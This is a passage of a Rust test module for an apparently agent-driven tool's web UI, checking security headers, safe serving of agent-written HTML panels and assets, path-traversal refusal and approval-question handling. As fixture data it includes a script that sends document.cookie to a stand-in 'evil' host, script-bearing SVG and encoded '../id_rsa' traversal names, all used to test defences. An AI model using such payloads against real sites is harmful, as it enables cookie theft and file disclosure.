12701            "Add a web UI\n\nMobile first.".to_owned(),
12702            Config::default(),
12703        );
12704        state.id = id.to_owned();
12705        state.status = status;
12706        let dir = runs.join(id);
12707        std::fs::create_dir_all(&dir).expect("run dir");
12708        std::fs::write(
12709            dir.join("run.json"),
12710            serde_json::to_string_pretty(&state).expect("serialize run"),
12711        )
12712        .expect("write run.json");
12713    }
12714
12715    /// Same as [`write_run`], but against a named repository rather than the
12716    /// fixed `/repo/magi` - for the `?repo=` stats tests, which need runs
12717    /// spread across more than one.
12718    fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
12719        let mut state = RunState::new(
12720            PathBuf::from(repo),
12721            "main".to_owned(),
12722            "0123456789abcdef".to_owned(),
12723            "task".to_owned(),
12724            Config::default(),
12725        );
12726        state.id = id.to_owned();
12727        state.status = status;
12728        let dir = runs.join(id);
12729        std::fs::create_dir_all(&dir).expect("run dir");
12730        std::fs::write(
12731            dir.join("run.json"),
12732            serde_json::to_string_pretty(&state).expect("serialize run"),
12733        )
12734        .expect("write run.json");
12735    }
12736
12737    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
12738        let body = serde_json::json!({
12739            "schema": 1,
12740            "pid": 4242,
12741            "started_at": Timestamp::now().to_string(),
12742            "updated_at": updated_at.to_string(),
12743            "idle": false,
12744            "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
12745            "completed": 7,
12746            "polls": 143,
12747        });
12748        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
12749    }
12750
12751    /// A loop that starts, finds nothing to do, and waits to be told to stop.
12752    ///
12753    /// No test in this file may start the real loop - see [`Ui::launch`] for
12754    /// why - so this stands in for the only thing the routes need a loop to
12755    /// do: keep running until `Stop` is set, then return. A real
12756    /// `serve_until` here would resolve its queue and its status file through
12757    /// the process-global magi home, claim whatever it found in the
12758    /// operator's live backlog, overwrite the status file of the `magi serve`
12759    /// that owns it, and spend real agent quota on a real competition.
12760    fn launch_idle(
12761        _opts: daemon::Opts,
12762        stop: daemon::Stop,
12763    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
12764        Box::pin(async move {
12765            while !stop.stopped() {
12766                tokio::time::sleep(Duration::from_millis(2)).await;
12767            }
12768            Ok(())
12769        })
12770    }
12771
12772    /// A loop that fails on the way up, the way one whose home has gone
12773    /// read-only does.
12774    fn launch_broken(
12775        _opts: daemon::Opts,
12776        _stop: daemon::Stop,
12777    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
12778        // The stand-in dies instantly, so a restarted one can record its own
12779        // failure before the start's response is read. The second attempt
12780        // therefore fails with a different message, to tell a stale error
12781        // from a fresh one.
12782        static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
12783        let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
12784        Box::pin(async move {
12785            Err(anyhow::anyhow!(if first {
12786                "publish the daemon status file: read-only file system"
12787            } else {
12788                "the restarted stand-in failed as well"
12789            }))
12790        })
12791    }
12792
12793    /// The loop view once `want` accepts it.
12794    ///
12795    /// Polled rather than asserted straight after the POST because stopping
12796    /// is deliberately not instant - that is the contract - and rather than
12797    /// slept through because a fixed wait is either flaky or slow.
12798    /// `SETTLE_STEPS` is far longer than a stand-in loop needs and still
12799    /// finite, so a genuine hang fails the test instead of hanging the
12800    /// suite.
12801    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
12802        for _ in 0..SETTLE_STEPS {
12803            let view = fx.get("/api/loop").await.json();
12804            if want(&view) {
12805                return view;
12806            }
12807            tokio::time::sleep(Duration::from_millis(10)).await;
12808        }
12809        panic!(
12810            "the loop never settled: {}",
12811            fx.get("/api/loop").await.json()
12812        );
12813    }
12814
12815    /// File an open question directly in the store the server reads.
12816    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
12817        let store = fx.questions();
12818        let mut q = Question::new(
12819            "20260902-000000-beef".to_owned(),
12820            "implement".to_owned(),
12821            "impl-A".to_owned(),
12822            summary.to_owned(),
12823            "because it matters".to_owned(),
12824            choices.iter().map(|c| (*c).to_owned()).collect(),
12825        );
12826        store.put(&mut q).expect("put question");
12827        q.id
12828    }
12829
12830    /// A question with a panel the server can serve, plus the named assets.
12831    ///
12832    /// Written through `Questions::put_panel` rather than by laying out the
12833    /// directory here, so these tests exercise the same on-disk shape the
12834    /// agents produce and cannot pass against a layout only the tests know.
12835    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
12836        let store = fx.questions();
12837        let mut q = Question::new(
12838            "20260902-000000-beef".to_owned(),
12839            "land".to_owned(),
12840            "fix".to_owned(),
12841            "Merge this?".to_owned(),
12842            "the diff is in the panel".to_owned(),
12843            vec!["merge".to_owned(), "hold".to_owned()],
12844        );
12845        // Staged outside the questions root, because `put_panel` copies from
12846        // wherever the agent left its files.
12847        let staging = fx.home.path().join("staging");
12848        std::fs::create_dir_all(&staging).expect("staging dir");
12849        let sources: Vec<PathBuf> = assets
12850            .iter()
12851            .map(|(name, bytes)| {
12852                let path = staging.join(name);
12853                std::fs::write(&path, bytes).expect("write staged asset");
12854                path
12855            })
12856            .collect();
12857        store
12858            .put_panel(&mut q, html, &sources)
12859            .expect("write the panel");
12860        store.put(&mut q).expect("put question");
12861        q.id
12862    }
12863
12864    /// A talk on disk, without talking to a model.
12865    ///
12866    /// Written as JSON straight into the store the server reads, because the
12867    /// only constructor `talk::begin` offers takes no turn but still requires
12868    /// a real caller-visible flow. The one thing this cannot make up is the
12869    /// seat, so it is built with the real `SeatState::new` and serialized -
12870    /// the alternative, hand-writing that object, would make these tests fail
12871    /// the day the seat gains a field.
12872    fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
12873        seed_talk_at(&fx.talks(), id, status)
12874    }
12875
12876    fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
12877        std::fs::create_dir_all(store.root()).expect("talks dir");
12878        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
12879            .expect("serialize a seat");
12880        let body = serde_json::json!({
12881            "schema": 1,
12882            "id": id,
12883            "repo": "/repo/magi",
12884            "agent": "mock",
12885            "status": status,
12886            "turns": [],
12887            "created_at": Timestamp::now().to_string(),
12888            "updated_at": Timestamp::now().to_string(),
12889            "seat": seat,
12890        });
12891        std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
12892        store.get(id).expect("the seeded talk has to be readable");
12893        id.to_owned()
12894    }
12895
12896    #[tokio::test]
12897    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
12898        let fx = Fixture::start().await;
12899        let id = panel(
12900            &fx,
12901            "<h1>Merge?</h1><img src=\"diff.svg\">",
12902            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
12903        );
12904
12905        for path in [
12906            format!("/api/questions/{id}/panel"),
12907            format!("/api/questions/{id}/asset/diff.svg"),
12908        ] {
12909            let res = fx.get(&path).await;
12910            assert_eq!(res.status, 200, "{path}: {}", res.body);
12911            // The whole string, not a substring. A weakened directive - an
12912            // `img-src *` that lets a panel beacon out to a remote host, a
12913            // `script-src` anything, a missing `form-action` that lets it post
12914            // the owner's decision to a third party - has to fail here, and a
12915            // `contains` assertion would let every one of those through.
12916            assert_eq!(
12917                res.header("content-security-policy"),
12918                Some(
12919                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
12920                     font-src data:; base-uri 'none'; form-action 'none'; \
12921                     frame-ancestors 'self'"
12922                ),
12923                "{path} is the only thing between a hostile panel and the tailnet"
12924            );
12925            assert_eq!(
12926                res.header("x-content-type-options"),
12927                Some("nosniff"),
12928                "{path}: a browser must not re-decide the type we sent"
12929            );
12930            assert_eq!(
12931                res.header("referrer-policy"),
12932                Some("no-referrer"),
12933                "{path}: a panel must not leak the question id off the machine"
12934            );
12935
12936            // The front end mounts the frame only after a `HEAD` says the
12937            // panel is there, so `HEAD` has to answer with the same status and
12938            // the same policy as `GET` - a preflight that came back without
12939            // the CSP would mean a frame mounted on an unverified promise.
12940            let pre = fx.head(&path).await;
12941            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
12942            assert_eq!(
12943                pre.header("content-security-policy"),
12944                res.header("content-security-policy"),
12945                "{path}: the preflight carries the same policy"
12946            );
12947            assert_eq!(
12948                pre.header("content-type"),
12949                res.header("content-type"),
12950                "{path}: the preflight carries the same type"
12951            );
12952        }
12953    }
12954
12955    #[tokio::test]
12956    async fn a_panel_reaches_the_browser_byte_for_byte() {
12957        let fx = Fixture::start().await;
12958        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
12959        // tag, an entity, and a multi-byte character. The sandbox is what makes
12960        // this safe, so nothing here may be rewritten on the way out - a
12961        // rewritten diff is a diff the owner cannot trust.
12962        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
12963        let id = panel(&fx, html, &[]);
12964
12965        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
12966
12967        assert_eq!(res.status, 200);
12968        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
12969        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
12970        assert_eq!(
12971            res.header("content-disposition"),
12972            None,
12973            "the panel itself is rendered in the frame, not downloaded"
12974        );
12975    }
12976
12977    #[tokio::test]
12978    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
12979        let fx = Fixture::start().await;
12980        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
12981        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
12982        let id = panel(
12983            &fx,
12984            "<img src=\"diff.svg\"><img src=\"shot.png\">",
12985            &[("diff.svg", svg), ("shot.png", png)],
12986        );
12987
12988        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
12989        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
12990
12991        assert_eq!(as_svg.status, 200);
12992        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
12993        // An SVG is XML that may carry script. Inside the panel it is an
12994        // `<img src>` and the script cannot run; opened at the top level it
12995        // would be a document on magi's own origin, so the browser is told to
12996        // download it instead of rendering it.
12997        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
12998
12999        assert_eq!(as_png.status, 200);
13000        assert_eq!(as_png.header("content-type"), Some("image/png"));
13001        assert_eq!(
13002            as_png.header("content-disposition"),
13003            None,
13004            "a raster image has no execution surface, so tapping it still shows it"
13005        );
13006        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
13007    }
13008
13009    #[tokio::test]
13010    async fn an_html_asset_is_never_served_as_html() {
13011        let fx = Fixture::start().await;
13012        let id = panel(
13013            &fx,
13014            "<p>see the notes</p>",
13015            &[
13016                (
13017                    "notes.html",
13018                    b"<script>fetch('http://evil/'+document.cookie)</script>",
13019                ),
13020                ("hook.js", b"fetch('http://evil/')"),
13021                ("data.json", b"{}"),
13022                ("HEADLINE.TXT", b"plain"),
13023            ],
13024        );
13025
13026        for name in ["notes.html", "hook.js", "data.json"] {
13027            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
13028            assert_eq!(res.status, 200, "{name}: {}", res.body);
13029            // Serving this as text/html would be a way to reach agent markup
13030            // at the top level of the operator's browser, outside the frame's
13031            // sandbox and outside its CSP - which is the whole thing the panel
13032            // design exists to prevent. Unlisted types are downloads.
13033            assert_eq!(
13034                res.header("content-type"),
13035                Some("application/octet-stream"),
13036                "{name} must not be a type the browser will execute or render"
13037            );
13038        }
13039        // The whitelist is matched case-insensitively, so an agent shouting the
13040        // extension still gets a readable file rather than a download.
13041        let txt = fx
13042            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
13043            .await;
13044        assert_eq!(
13045            txt.header("content-type"),
13046            Some("text/plain; charset=utf-8")
13047        );
13048    }
13049
13050    #[tokio::test]
13051    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
13052        let fx = Fixture::start().await;
13053        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
13054        // Something outside the panel directory that a traversal would reach if
13055        // one got through, so a passing test is not merely "the file was
13056        // missing anyway".
13057        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
13058
13059        // Decoded before this server's handler sees them: axum percent-decodes
13060        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
13061        // string with a NUL in it. All three look like ordinary single-segment
13062        // filenames to the router, so the router passes them through and
13063        // `valid_asset_name` is what refuses them - for the literal `..`, and
13064        // for `/`, `\` and NUL not being in the permitted character set.
13065        for encoded in [
13066            "%2e%2e%2fid_rsa",
13067            "..%2fid_rsa",
13068            "..%5cid_rsa",
13069            "%2e%2e%5cid_rsa",
13070            "diff%00.svg",
13071            "..",
13072            ".hidden",
13073            "%2e%2e%2f%2e%2e%2fid_rsa",
13074        ] {
13075            let res = fx
13076                .get(&format!("/api/questions/{id}/asset/{encoded}"))
13077                .await;
13078            assert_eq!(
13079                res.status, 400,
13080                "`{encoded}` has to be refused by name, not looked up: {}",
13081                res.body
13082            );
13083            assert!(res.json()["error"].is_string(), "{}", res.body);
13084        }
13085
13086        // Not decoded, and never this handler's problem: a real slash makes the
13087        // request one segment too long for `/api/questions/{id}/asset/{name}`,
13088        // so axum's router has no route to match and answers before any code
13089        // here runs. Asserted so that a future route with a wildcard segment
13090        // cannot quietly open this door.
13091        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
13092            let res = fx
13093                .get(&format!("/api/questions/{id}/asset/{literal}"))
13094                .await;
13095            assert_eq!(
13096                res.status, 404,
13097                "`{literal}` must not match the asset route at all: {}",
13098                res.body
13099            );
13100        }
13101    }
13102
13103    #[tokio::test]
13104    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
13105        let fx = Fixture::start().await;
13106        let plain = ask(&fx, "Which backend?", &["SQLite"]);
13107        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
13108
13109        // A question nobody wrote a panel for. The client preflights with HEAD
13110        // and cannot see inside a sandboxed frame, so this must be a status and
13111        // not an empty page.
13112        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
13113        assert_eq!(none.status, 404, "{}", none.body);
13114        assert!(none.json()["error"].is_string(), "{}", none.body);
13115        assert_eq!(
13116            fx.head(&format!("/api/questions/{plain}/panel"))
13117                .await
13118                .status,
13119            404,
13120            "the preflight is the only way the client can learn this"
13121        );
13122
13123        // A name that is perfectly legal and simply is not there.
13124        let missing = fx
13125            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
13126            .await;
13127        assert_eq!(missing.status, 404, "{}", missing.body);
13128        assert!(missing.json()["error"].is_string(), "{}", missing.body);
13129
13130        // A question that does not exist at all, on both routes.
13131        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
13132        assert_eq!(
13133            fx.get("/api/questions/nope/asset/diff.svg").await.status,
13134            404
13135        );
13136    }
13137
13138    #[tokio::test]
13139    async fn a_run_with_an_open_question_reads_as_waiting() {
13140        let fx = Fixture::start().await;
13141        let run = "20260902-000000-beef".to_owned();
13142        write_run(&fx.runs(), &run, RunStatus::Implementing);
13143
13144        let before = fx.get("/api/runs").await.json();
13145        assert_eq!(before[0]["waiting"], false, "{before}");
13146
13147        let store = fx.questions();
13148        let mut q = Question::new(
13149            run.clone(),
13150            "implement".to_owned(),
13151            "impl-A".to_owned(),
13152            "Which backend?".to_owned(),
13153            String::new(),
13154            vec!["SQLite".to_owned()],
13155        );
13156        store.put(&mut q).expect("put");
13157
13158        let during = fx.get("/api/runs").await.json();
13159        assert_eq!(during[0]["waiting"], true, "{during}");
13160
13161        // Answered: the run is moving again, and the flag has to follow without
13162        // anything having rewritten run.json.
13163        q.answer(Answer::Choice("SQLite".to_owned()))
13164            .expect("answer");
13165        store.put(&mut q).expect("put");
13166        let after = fx.get("/api/runs").await.json();
13167        assert_eq!(after[0]["waiting"], false, "{after}");
13168    }
13169
13170    #[tokio::test]
13171    async fn an_open_question_is_listed_and_counted_by_health() {
13172        let fx = Fixture::start().await;
13173        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
13174
13175        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13176        let listed = fx.get("/api/questions").await.json();
13177        assert_eq!(listed.as_array().expect("array").len(), 1);
13178        assert_eq!(listed[0]["id"], id);
13179        assert_eq!(listed[0]["status"], "open");
13180        assert_eq!(listed[0]["choices"][1], "Redis");
13181        // The count is what makes the phone's indicator honest: it is the one
13182        // number meaning nothing will move until a human acts.
13183        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13184    }
13185
13186    fn obsolete_approval_state() -> RunState {
13187        let mut state = crate::land::tests::repair_state(true, true);
13188        state.pr = Some(crate::run::PrRecord {
13189            url: "https://github.com/example/repo/pull/42".into(),
13190            number: 42,
13191            state: "open".into(),
13192            checks: "green".into(),
13193            round: 1,
13194            rounds: 4,
13195            red_at_merge: Vec::new(),
13196        });
13197        state
13198    }
13199
13200    #[tokio::test]
13201    async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
13202        for owner in ["missing", "current", "completed", "later"] {
13203            let fx = Fixture {
13204                home: TempDir::new().unwrap(),
13205                addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
13206            };
13207            let mut state = obsolete_approval_state();
13208            state.status = RunStatus::Landing;
13209            state.parked = true;
13210            state.driver_exited = true;
13211            let mut q = Question::new(
13212                state.id.clone(),
13213                crate::land::APPROVAL_NODE.into(),
13214                "land".into(),
13215                "Old approval".into(),
13216                "Original evidence".into(),
13217                vec!["merge".into(), "hold".into()],
13218            );
13219            state.land_approval = Some(crate::run::LandApproval {
13220                question: q.id.clone(),
13221                head: "head".into(),
13222            });
13223            state.save_under(fx.home.path()).unwrap();
13224            let stale = state.clone();
13225            fx.questions().put(&mut q).unwrap();
13226            let mut task = Task::new(
13227                "Owner".into(),
13228                "Original instruction".into(),
13229                state.repo.clone(),
13230                Source::Human,
13231            );
13232            task.runs.push(state.id.clone());
13233            task.status = if owner == "completed" {
13234                TaskStatus::Done
13235            } else {
13236                TaskStatus::Parked
13237            };
13238            if owner == "later" {
13239                task.runs.push("later-run".into());
13240            }
13241            if owner != "missing" {
13242                fx.queue().put(&mut task).unwrap();
13243            }
13244            let ui = Arc::new(Ui::new(
13245                fx.queue(),
13246                fx.questions(),
13247                fx.talks(),
13248                fx.runs(),
13249                fx.home.path().into(),
13250                state.repo.clone(),
13251            ));
13252            let response = question_answer(
13253                State(ui),
13254                Path(q.id.clone()),
13255                Ok(Json(NewAnswer {
13256                    choice: Some(crate::merge_decision::DISMISS.into()),
13257                    text: None,
13258                    ..Default::default()
13259                })),
13260            )
13261            .await
13262            .unwrap();
13263            assert_eq!(
13264                response.0.question.resolution().as_deref(),
13265                Some(crate::merge_decision::DISMISS)
13266            );
13267            let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
13268            assert_eq!(disk.status, RunStatus::Superseded);
13269            assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
13270            assert!(!crate::merge_decision::resumable_hold(&disk));
13271            assert_eq!(
13272                serde_json::to_value(&disk.pr).unwrap(),
13273                serde_json::to_value(&stale.pr).unwrap()
13274            );
13275            assert_eq!(fx.questions().count_open(), 0);
13276            assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
13277            crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13278            if owner == "missing" {
13279                assert!(fx.queue().list().is_empty());
13280            } else {
13281                let after = fx.queue().get(&task.id).unwrap();
13282                assert_eq!(
13283                    after.status,
13284                    if owner == "current" {
13285                        TaskStatus::Done
13286                    } else {
13287                        task.status
13288                    }
13289                );
13290                assert_eq!(after.runs, task.runs);
13291                assert_eq!(after.instruction, task.instruction);
13292                assert_eq!(after.action_applied(&q.id), owner == "current");
13293            }
13294        }
13295    }
13296
13297    #[tokio::test]
13298    async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
13299        let fx = Fixture::start().await;
13300        let mut state = obsolete_approval_state();
13301        state.status = RunStatus::Landing;
13302        state.parked = true;
13303        state.driver_exited = true;
13304        let mut q = Question::new(
13305            state.id.clone(),
13306            crate::land::APPROVAL_NODE.into(),
13307            "land".into(),
13308            "Superseded PR approval".into(),
13309            "Original review evidence".into(),
13310            vec!["merge".into(), "hold".into()],
13311        );
13312        state.land_approval = Some(crate::run::LandApproval {
13313            question: q.id.clone(),
13314            head: "old-reviewed-head".into(),
13315        });
13316        // The old persisted PR may still say open even when a separate change
13317        // already landed. Dismissal must not use that snapshot to close it.
13318        state.save_under(fx.home.path()).unwrap();
13319        let stale_driver = state.clone();
13320        fx.questions().put(&mut q).unwrap();
13321        let path = fx
13322            .home
13323            .path()
13324            .join("questions")
13325            .join(format!("{}.json", q.id));
13326        let mut legacy = serde_json::to_value(&q).unwrap();
13327        legacy["schema"] = 9.into();
13328        legacy.as_object_mut().unwrap().remove("merge_target");
13329        std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
13330
13331        // POST without GET tests legacy upgrade and validation at the actual
13332        // entry point, rather than constructing a modern card in the test.
13333        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
13334        let answer_path = format!("/api/questions/{}/answer", q.id);
13335        let res = fx.post(&answer_path, Some(&body)).await;
13336        assert_eq!(res.status, 200, "{}", res.body);
13337        let disk = fx.questions().get(&q.id).unwrap();
13338        assert_eq!(
13339            disk.resolution().as_deref(),
13340            Some(crate::merge_decision::DISMISS)
13341        );
13342        assert!(disk.detail.starts_with("Original review evidence"));
13343        let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
13344        assert_eq!(retired.status, RunStatus::Superseded);
13345        assert_eq!(
13346            serde_json::to_value(&retired.pr).unwrap(),
13347            serde_json::to_value(&state.pr).unwrap()
13348        );
13349        assert!(!retired.merge_decision.as_ref().unwrap().closed);
13350        assert!(!crate::merge_decision::resumable_hold(&retired));
13351        assert!(fx.queue().list().is_empty());
13352        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13353        // A restarted server re-reads the persisted pending list.
13354        let addr = Fixture::serve(
13355            fx.home.path(),
13356            PathBuf::from("/repo/magi"),
13357            launch_idle,
13358            None,
13359        )
13360        .await;
13361        let reconnected = Fixture {
13362            home: fx.home,
13363            addr,
13364        };
13365        let listed = reconnected.get("/api/questions").await.json();
13366        assert!(
13367            listed
13368                .as_array()
13369                .unwrap()
13370                .iter()
13371                .all(|q| q["status"] != "open")
13372        );
13373        assert_eq!(listed[0]["id"], q.id, "history remains available");
13374        assert_eq!(
13375            reconnected.get("/api/health").await.json()["questions_open"],
13376            0
13377        );
13378        assert_eq!(
13379            reconnected
13380                .post(&answer_path, Some(r#"{"choice":"merge"}"#))
13381                .await
13382                .status,
13383            409
13384        );
13385        // A late waiter cannot turn the old answer into a new decision.
13386        assert!(
13387            reconnected
13388                .questions()
13389                .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
13390                .is_err()
13391        );
13392        // The same guard used by claims, repair and publication rejects a
13393        // saved in-memory driver as well as the persisted terminal record.
13394        assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
13395    }
13396
13397    #[tokio::test]
13398    async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
13399        let fx = Fixture::start().await;
13400        let mut state = obsolete_approval_state();
13401        state.status = RunStatus::Landing;
13402        state.driver_exited = true;
13403        let mut q = Question::new(
13404            state.id.clone(),
13405            crate::land::APPROVAL_NODE.into(),
13406            "land".into(),
13407            "Obsolete approval".into(),
13408            String::new(),
13409            vec!["merge".into(), "hold".into()],
13410        );
13411        state.land_approval = Some(crate::run::LandApproval {
13412            question: q.id.clone(),
13413            head: "head".into(),
13414        });
13415        state.save_under(fx.home.path()).unwrap();
13416        fx.questions().put(&mut q).unwrap();
13417        let mut task = Task::new(
13418            "Owner".into(),
13419            "Original instruction".into(),
13420            state.repo.clone(),
13421            Source::Human,
13422        );
13423        task.runs = vec![state.id.clone(), "later-run".into()];
13424        fx.queue().put(&mut task).unwrap();
13425        let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
13426        let claim = fx.queue().claim(&task.id).unwrap();
13427        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
13428        let path = format!("/api/questions/{}/answer", q.id);
13429        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
13430        assert!(fx.questions().get(&q.id).unwrap().status.open());
13431        drop(claim);
13432        let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
13433        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
13434        assert!(fx.questions().get(&q.id).unwrap().status.open());
13435        drop(publication);
13436        // Unknown liveness and armed auto-merge both fail without settling.
13437        state.driver_exited = false;
13438        state.driver_pid = None;
13439        state.driver_claimed = None; // No durable proof of an unstarted execution.
13440        state.save_under(fx.home.path()).unwrap();
13441        assert_eq!(
13442            state.liveness_under(fx.home.path(), false),
13443            crate::run::Liveness::Unknown
13444        );
13445
13446        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
13447        state.driver_exited = true;
13448        state.land_armed_head = Some("head".into());
13449        state.save_under(fx.home.path()).unwrap();
13450        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
13451        state.land_armed_head = None;
13452        state.save_under(fx.home.path()).unwrap();
13453        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
13454        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13455        assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
13456    }
13457
13458    #[tokio::test]
13459    async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
13460        let fx = Fixture::start().await;
13461        let mut state = obsolete_approval_state();
13462        state.status = RunStatus::Landing;
13463        state.driver_exited = true;
13464        let mut q = Question::new(
13465            state.id.clone(),
13466            crate::land::APPROVAL_NODE.into(),
13467            "land".into(),
13468            "Obsolete approval".into(),
13469            String::new(),
13470            vec!["merge".into(), "hold".into()],
13471        );
13472        state.land_approval = Some(crate::run::LandApproval {
13473            question: q.id.clone(),
13474            head: "head".into(),
13475        });
13476        state.save_under(fx.home.path()).unwrap();
13477        fx.questions().put(&mut q).unwrap();
13478        let mut task = Task::new(
13479            "Owner".into(),
13480            "Original instruction".into(),
13481            state.repo.clone(),
13482            Source::Human,
13483        );
13484        task.runs.push(state.id.clone());
13485        task.status = TaskStatus::Parked;
13486        fx.queue().put(&mut task).unwrap();
13487        // Model a crash after the run stop was persisted but before the queue
13488        // and answered question were flushed. Retrying must finish, not resume.
13489        state.merge_decision = Some(crate::merge_decision::Decision {
13490            question: q.id.clone(),
13491            target: crate::merge_decision::Target {
13492                pr: state.pr.as_ref().unwrap().url.clone(),
13493                head: "head".into(),
13494                language: "ja".into(),
13495            },
13496            choice: crate::merge_decision::DISMISS.into(),
13497            closed: false,
13498            replacement_run: None,
13499            replacement_pr: None,
13500        });
13501        state.status = RunStatus::Superseded;
13502        state.save_under(fx.home.path()).unwrap();
13503        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
13504        let path = format!("/api/questions/{}/answer", q.id);
13505        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
13506        let done = fx.queue().get(&task.id).unwrap();
13507        assert_eq!(done.status, TaskStatus::Done);
13508        assert_eq!(done.runs, task.runs);
13509        assert_eq!(done.instruction, task.instruction);
13510        assert!(done.action_applied(&q.id));
13511        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13512        assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
13513        assert!(!fx.questions().get(&q.id).unwrap().status.open());
13514    }
13515
13516    #[tokio::test]
13517    async fn task_chat_merge_accepts_direct_decisions_and_checks_optional_buttons() {
13518        let home = TempDir::new().unwrap();
13519        let ui = Arc::new(Ui::new(
13520            Queue::at(home.path().join("queue")),
13521            Questions::at(home.path().join("questions")),
13522            Talks::at(home.path().join("talks")),
13523            home.path().join("runs"),
13524            home.path().to_owned(),
13525            home.path().to_owned(),
13526        ));
13527        let talks = &ui.talks;
13528        let chat =
13529            talk::begin(talks, &stub_config(), home.path().to_owned(), Some("stub")).unwrap();
13530        let mut q = Question::new(
13531            "run".into(),
13532            crate::land::APPROVAL_NODE.into(),
13533            "land".into(),
13534            "Merge?".into(),
13535            String::new(),
13536            vec!["merge".into(), "hold".into()],
13537        );
13538        q.routed_task = Some("task".into());
13539        q.routed_chat = Some(chat.id.clone());
13540        q.merge_target = Some(crate::merge_decision::Target {
13541            pr: "https://example.test/pull/1".into(),
13542            head: "head-a".into(),
13543            language: "en".into(),
13544        });
13545        ui.questions.put(&mut q).unwrap();
13546        let send = |body| {
13547            question_answer(
13548                State(ui.clone()),
13549                Path(q.id.clone()),
13550                Ok(Json(serde_json::from_value::<NewAnswer>(body).unwrap())),
13551            )
13552        };
13553        let button = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"head-a"});
13554        assert!(send(serde_json::json!({"text":"merge"})).await.is_err());
13555        let wrong_chat = serde_json::json!({"choice":"merge", "talk":"other", "head":"head-a"});
13556        assert!(send(wrong_chat).await.is_err());
13557        let stale = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"old-head"});
13558        assert!(send(stale).await.is_err());
13559        assert!(ui.questions.get(&q.id).unwrap().status.open());
13560        assert!(send(button.clone()).await.is_ok());
13561        assert_eq!(
